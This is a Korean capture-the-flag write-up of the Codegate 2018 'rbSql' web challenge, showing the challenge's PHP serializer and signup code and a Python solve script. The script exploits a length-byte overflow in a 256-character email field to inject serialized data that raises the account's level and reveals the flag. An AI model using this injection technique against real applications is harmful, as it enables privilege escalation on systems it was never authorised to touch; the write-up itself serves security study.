Codegate CTF 2018 Preliminary - rbSql (Web)

문제 파일 (rbSql.zip)

파일에 데이터를 저장하고 불러오는류의 문제다.

파싱할때 취약점이 있을것이라고 생각했다.

dbconn.php 중 일부

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function rbPack($data){
$rawData = "";
if(is_string($data)){
$rawData .= STR . chr(strlen($data)) . $data;
}
elseif(is_array($data)){
$rawData .= ARR . chr(count($data));
for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]);
}
return $rawData;
}

rbPackcount($data)0xff보다 크다면 공격 가능할 것 같았다.

index.php 중 일부

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
elseif($page == "join_chk"){
$uid = $_POST['uid'];
$umail = $_POST['umail'];
$upw = $_POST['upw'];
if(($uid) && ($upw) && ($umail)){
if(strlen($uid) < 3) error("id too short");
if(strlen($uid) > 16) error("id too long");
if(!ctype_alnum($uid)) error("id must be alnum!");
if(strlen($umail) > 256) error("email too long");
include "dbconn.php";
$upw = md5($upw);
$uip = $_SERVER['REMOTE_ADDR'];
if(rbGetPath("member_".$uid)) error("id already existed");
$ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);
if(is_string($ret)) error("error");
$ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);
if(is_string($ret)) error("error");
exit("<script>location.href='./?page=login';</script>");
}
else error("join fail");
}

아니나 다를까 strlen($umail) > 256로 비교함으로써 2560x100의 값이 chr에 들어갈 수 있다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import md5
import random
import requests

url = 'http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/?page='

id_ = 'kimtruth' + str(random.randint(10000, 1000000))
pw = 'password'
md5pw = md5.md5(pw).hexdigest()
ip = '1.2.3.4'
STR = '\x01'
ARR = '\x02'

payload = STR + chr(len(md5pw))
payload += md5pw
payload += STR + chr(len(ip))
payload += ip
payload += STR + chr(1)
payload += '2'
payload += '\x01' * (256 - len(payload)) # padding

datas = {'uid': id_,
'umail': payload,
'upw': pw}

s = requests.Session()

s.post(url + 'join_chk', data=datas)
s.post(url + 'login_chk', data=datas)
data = s.get(url + 'me').text

print data[data.find("Flag : "):]
'''
Flag : </p>FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}
</div>
</div>
</body>
</html>
'''

flag : akaneTsunemoriIsSoCuteDontYouThinkSo?

Share